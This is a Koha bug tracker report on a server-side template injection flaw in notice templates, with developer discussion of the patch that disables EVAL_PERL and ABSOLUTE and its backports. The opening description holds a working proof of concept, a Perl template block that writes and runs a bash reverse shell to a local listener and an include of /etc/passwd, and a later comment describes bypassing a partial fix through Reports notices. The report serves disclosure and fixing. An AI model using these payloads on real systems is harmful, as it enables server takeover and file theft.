Bug 39184 - Server-side template injection leading to remote code execution
Summary: Server-side template injection leading to remote code execution
Status: RESOLVED FIXED
Alias: None
Product: Koha
Classification: Unclassified
Component: Notices (show other bugs)
Version: unspecified
Hardware: All All
: P5 - low major
Assignee: David Cook
QA Contact: Marcel de Rooy
URL:
Keywords:
: 26663 27759 (view as bug list)
Depends on:
Blocks: 39860
  Show dependency treegraph
 
Reported: 2025-02-21 14:49 UTC by Craig Fairman
Modified: 2025-06-26 02:24 UTC (History)
18 users (show)

See Also:
GIT URL:
Change sponsored?: ---
Patch complexity: Small patch
Documentation contact:
Documentation submission:
Text to go in the release notes:
Version(s) released in:
25.05.00,24.11.05,24.05.10,22.11.27
Circulation function:


Attachments
Bug 39184: Turn off ABSOLUTE and EVAL_PERL for user-entered templates (2.20 KB, patch)
2025-03-03 05:48 UTC, David Cook
Details | Diff | Splinter Review
Bug 39184: Turn off ABSOLUTE and EVAL_PERL for user-entered templates (2.29 KB, patch)
2025-04-02 11:12 UTC, Magnus Enger
Details | Diff | Splinter Review
Bug 39184: Turn off ABSOLUTE and EVAL_PERL for user-entered templates (2.57 KB, patch)
2025-05-16 09:40 UTC, Marcel de Rooy
Details | Diff | Splinter Review

Note You need to log in before you can comment on or make changes to this bug.
Description Craig Fairman 2025-02-21 14:49:27 UTC
Koha 24.05.04.000 is vulnerable to authenticated Server-Side Template Injection, leading to Remote Code Execution.

Set up a listener with:

nc -lnvp 80

Navigate to the Welcome email template at:

/cgi-bin/koha/tools/letter.pl?op=add_form&branchcode=&module=members&code=WELCOME

Within the email template enter the following:

[% PERL %]
system('echo "/bin/bash -i >& /dev/tcp/127.0.0.1/80 0>&1" > /tmp/bash.sh');
system('chmod +x /tmp/bash.sh');
system('bash /tmp/bash.sh');
[% END %]

Click the 'Save' dropdown menu, and then click 'Save and continue editing'.

The listener will receive a shell from the application, compromising the underlying server.

Additionally, it's possible to leverage the email template in a similar way to achieve Local File Inclusion (LFI):

Within the email template enter the following:

[% INCLUDE '/etc/passwd' %]

Navigate to a patron members profile:

/cgi-bin/koha/members/notices.pl?borrowernumber=

Click the 'More' dropdown menu, and then click 'Send welcome notice'. Then click the sent notice to preview the message, the contents of /etc/passwd is visible.
Comment 1 Phil Ringnalda 2025-02-22 00:30:04 UTC
The naive and obvious patch,

--- a/C4/Letters.pm
+++ b/C4/Letters.pm
@@ -1786,8 +1786,8 @@ sub _process_tt {
     my $use_template_cache = C4::Context->config('template_cache_dir') && defined $ENV{GATEWAY_INTERFACE};
     my $template           = Template->new(
         {
-            EVAL_PERL    => 1,
-            ABSOLUTE     => 1,
+            EVAL_PERL    => 0,
+            ABSOLUTE     => 0,
             PLUGIN_BASE  => 'Koha::Template::Plugin',
             COMPILE_EXT  => $use_template_cache ? '.ttc'                                    : '',
             COMPILE_DIR  => $use_template_cache ? C4::Context->config('template_cache_dir') : '',

(which could just remove both lines, they're off by default, but explicitly saying we want them off is better) does work, but what does the test plan look like, and how many support providers have given a client what they wanted by writing a little [% PERL %] block that we won't know about until we silently break a notice in a security release?
Comment 2 David Cook 2025-02-23 23:11:58 UTC
This one is technically a duplicate of bug 26663 which I raised back in 2020. Unfortunately, that report went off the rails, because we couldn't get consensus on the approach.

Personally, I disable ABSOLUTE and EVAL_PERL for this very reason for the Koha instances that I manage.
Comment 3 David Cook 2025-02-23 23:12:26 UTC
I'm actually tempted to mark bug 26663 as the duplicate just to give us a fresh start here...
Comment 4 Phil Ringnalda 2025-02-28 07:14:13 UTC
But scope-creep is so much fun!

Exfiltrating /etc/passwd in an actual notice is so early 2023: with 23.11+, you can avoid worrying that your notice will be sent to a real patron while you have the notice template edited to include it by instead creating a "notice" template for the Reports module. And since those are processed by Koha/TemplateUtils.pm, you can still get away with it after someone patches C4/Letters.pm to disallow EVAL_PERL and ABSOLUTE.
Comment 5 David Cook 2025-03-03 03:21:51 UTC
(In reply to Phil Ringnalda from comment #4)
> But scope-creep is so much fun!

So much fun!
 
> Exfiltrating /etc/passwd in an actual notice is so early 2023: with 23.11+,
> you can avoid worrying that your notice will be sent to a real patron while
> you have the notice template edited to include it by instead creating a
> "notice" template for the Reports module. And since those are processed by
> Koha/TemplateUtils.pm, you can still get away with it after someone patches
> C4/Letters.pm to disallow EVAL_PERL and ABSOLUTE.

Yeah that's a good point. Shall we have another crack at fixing this?
Comment 6 David Cook 2025-03-03 05:48:51 UTC Comment hidden (obsolete)
Comment 8 David Cook 2025-03-03 05:54:18 UTC
(In reply to Phil Ringnalda from comment #1)
> (which could just remove both lines, they're off by default, but explicitly
> saying we want them off is better) does work, but what does the test plan
> look like, and how many support providers have given a client what they
> wanted by writing a little [% PERL %] block that we won't know about until
> we silently break a notice in a security release?

Fortunately, based on my testing, it will break very loudly for standard (ie email/sms/print) notices.

The report notices will silently break. 

But I think support providers who've done this just need to suck it up. The Template::Toolkit MACROs are very powerful, and if they're not enough... then I'd say a custom Template::Toolkit plugin would be the shortest path to a fix for them.
Comment 9 Phil Ringnalda 2025-03-05 03:13:13 UTC
FWIW, the patch I'd like to see would be <enable_eval_perl_letters> and <enable_eval_perl_utils> in koha-conf.xml plus the bug 27759 comment 4 thing of passing a list of directories to put into INCLUDE_PATH so nobody needs to enable ABSOLUTE. But what it's worth is not much since I don't know how to write the patch to pass a list out of koha-conf.xml.

I'm not using either one, but I'd like that better since according to bug 26663 ByWater's been using EVAL_PERL, and my production install is on ByWater, so a security release that absolutely forbids EVAL_PERL and requires rewriting uses of it as TT plugins means that security release isn't going to make it to my install in a timely manner.
Comment 10 David Cook 2025-03-05 23:11:26 UTC
(In reply to Phil Ringnalda from comment #9)
> FWIW, the patch I'd like to see would be <enable_eval_perl_letters> and
> <enable_eval_perl_utils> in koha-conf.xml plus the bug 27759 comment 4 thing
> of passing a list of directories to put into INCLUDE_PATH so nobody needs to
> enable ABSOLUTE. But what it's worth is not much since I don't know how to
> write the patch to pass a list out of koha-conf.xml.
> 
> I'm not using either one, but I'd like that better since according to bug
> 26663 ByWater's been using EVAL_PERL, and my production install is on
> ByWater, so a security release that absolutely forbids EVAL_PERL and
> requires rewriting uses of it as TT plugins means that security release
> isn't going to make it to my install in a timely manner.

I think that I understand. It goes against my hardliner nature, but I suppose that Koha does have precedents for allowing insecure configurations. 

The patch I've attached is based off my own systems, but I suppose I wouldn't stand in the way of what you describe. And that bit for the INCLUDE_PATH sounds like it could be potentially useful.
Comment 11 Magnus Enger 2025-03-31 11:30:20 UTC
(In reply to David Cook from comment #10)
> (In reply to Phil Ringnalda from comment #9)
> > FWIW, the patch I'd like to see would be <enable_eval_perl_letters> and
> > <enable_eval_perl_utils> in koha-conf.xml plus the bug 27759 comment 4 thing
> > of passing a list of directories to put into INCLUDE_PATH so nobody needs to
> > enable ABSOLUTE. But what it's worth is not much since I don't know how to
> > write the patch to pass a list out of koha-conf.xml.
> > 
> > I'm not using either one, but I'd like that better since according to bug
> > 26663 ByWater's been using EVAL_PERL, and my production install is on
> > ByWater, so a security release that absolutely forbids EVAL_PERL and
> > requires rewriting uses of it as TT plugins means that security release
> > isn't going to make it to my install in a timely manner.
> 
> I think that I understand. It goes against my hardliner nature, but I
> suppose that Koha does have precedents for allowing insecure configurations. 
> 
> The patch I've attached is based off my own systems, but I suppose I
> wouldn't stand in the way of what you describe. And that bit for the
> INCLUDE_PATH sounds like it could be potentially useful.

Should the current patch be signed off, or should we scrap it and wait for a patch that takes care of comment 9?
Comment 12 David Cook 2025-03-31 23:36:22 UTC
(In reply to Magnus Enger from comment #11)
> Should the current patch be signed off, or should we scrap it and wait for a
> patch that takes care of comment 9?

Sounds like bug 26663 all over again. I fixed my own systems with these patches 5 years ago, and I'd recommend them. If these patches break people's setups, they should fix their templates manually or make their own local customizations to allow the insecure configuration. 

@Craig I suggest you raise a CVE for this one and let us know the number so we can add it to the report title.
Comment 13 Magnus Enger 2025-04-02 11:12:53 UTC
Created attachment 180292 [details] [review]
Bug 39184: Turn off ABSOLUTE and EVAL_PERL for user-entered templates

This change turns off ABSOLUTE and EVAL_PERL for user-entered templates,
as these options can allow for arbitrary code execution and information
disclosure.

Test plan:
0. Apply the patch
1. koha-plack --restart kohadev
2. Create a Notice for Reports with a report like:
[% IF ( x == 1 ) %]
One
[% ELSE %]
Two
[% END %]
3. Run a report using this template
4. The report should show "Two"
5. Turn on CHECKOUT emails for a test patron
6. Perform a checkout
7. Look at the CHECKOUT email and note that the email body
is correctly generated

Signed-off-by: Magnus Enger <magnus@libriotech.no>
Would be good to have this fixed as the default.
Comment 14 Magnus Enger 2025-04-02 11:14:08 UTC
(In reply to David Cook from comment #12)
> Sounds like bug 26663 all over again. I fixed my own systems with these
> patches 5 years ago, and I'd recommend them. If these patches break people's
> setups, they should fix their templates manually or make their own local
> customizations to allow the insecure configuration. 

100% agree.
Comment 15 Marcel de Rooy 2025-05-16 08:34:45 UTC
Looking here
Comment 16 Marcel de Rooy 2025-05-16 09:40:20 UTC
Created attachment 182510 [details] [review]
Bug 39184: Turn off ABSOLUTE and EVAL_PERL for user-entered templates

This change turns off ABSOLUTE and EVAL_PERL for user-entered templates,
as these options can allow for arbitrary code execution and information
disclosure.

Test plan:
0. Apply the patch
1. koha-plack --restart kohadev
2. Create a Notice for Reports with a report like:
[% IF ( x == 1 ) %]
One
[% ELSE %]
Two
[% END %]
3. Run a report using this template
4. The report should show "Two"
5. Turn on CHECKOUT emails for a test patron
6. Perform a checkout
7. Look at the CHECKOUT email and note that the email body
is correctly generated

Signed-off-by: Magnus Enger <magnus@libriotech.no>
Would be good to have this fixed as the default.

Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
The test plan should include PERL blocks or absolute paths! Tested those
instead. Testing x==1 seems irrelevant.
I tried:[% PERL %]print 1;[% END %] and [% INCLUDE /app/Dockerfile_1 %]
Comment 17 Marcel de Rooy 2025-05-16 09:43:24 UTC
QA Comment:
Good to start this up again. But we are not finished yet.

For the test plan, see commit message.

I think we should do something like:
EVAL_PERL    => C4::Context->config('template_eval_perl') || 0,
ABSOLUTE     => C4::Context->config('template_absolute_path') || 0,

And adjust all locations. Including
C4/Letters.pm
C4/Templates.pm
Koha/Plugins/Base.pm
Koha/TemplateUtils.pm
misc/devel/tidy.pl xt/author/valid-templates.t

But note that this cannot be done without converting some absolute paths to relative paths in Templates module and others. So it needs a bit more work.
Comment 18 David Cook 2025-05-18 23:20:47 UTC
(In reply to Marcel de Rooy from comment #17)
> QA Comment:
> Good to start this up again. But we are not finished yet.
> 
> For the test plan, see commit message.

Yeah that's weird. I've definitely done test plans in the past with PERL and absolute paths. I guess I just wanted to prove that a regular template would work here. 

> I think we should do something like:
> EVAL_PERL    => C4::Context->config('template_eval_perl') || 0,
> ABSOLUTE     => C4::Context->config('template_absolute_path') || 0,

But there's never a good reason to have them? They're always a security vulnerability in the context of unsanitized user input. 

> And adjust all locations. Including
> C4/Letters.pm
> C4/Templates.pm
> Koha/Plugins/Base.pm
> Koha/TemplateUtils.pm
> misc/devel/tidy.pl xt/author/valid-templates.t
> 
> But note that this cannot be done without converting some absolute paths to
> relative paths in Templates module and others. So it needs a bit more work.

I don't think it's necessary for C4/Templates.pm and Koha/Plugins/Base.pm because these are trusted code paths. C4/Letters.pm and Koha/TemplateUtils.pm need it because anyone with access to that part of the admin interface can then execute arbitrary code when they shouldn't. 

But Koha devs provide teh templates for C4/Templates.pm and we're already trusting plugin authors with the Perl code. The templates would be the least of our problems for Koha/Plugins/Base.pm.
Comment 19 Katrin Fischer 2025-05-20 07:06:25 UTC
Can someone provide a step by step test plan for the RMaints please on how to check that the security problem is fixed? I see the short note from Marcel, but something a bit more detailed. Alternatively post on the security channel.
Comment 22 Wainui Witika-Park 2025-05-21 01:24:33 UTC
Applied to 24.05.x-security
Comment 23 Fridolin Somers 2025-05-26 13:51:03 UTC
Applied to 23.11.x-security
Comment 24 Wainui Witika-Park 2025-06-23 08:03:12 UTC
Not backporting to 22.11 unless requested
Comment 25 David Cook 2025-06-26 02:24:23 UTC
*** Bug 27759 has been marked as a duplicate of this bug. ***
Comment 26 David Cook 2025-06-26 02:24:29 UTC
*** Bug 26663 has been marked as a duplicate of this bug. ***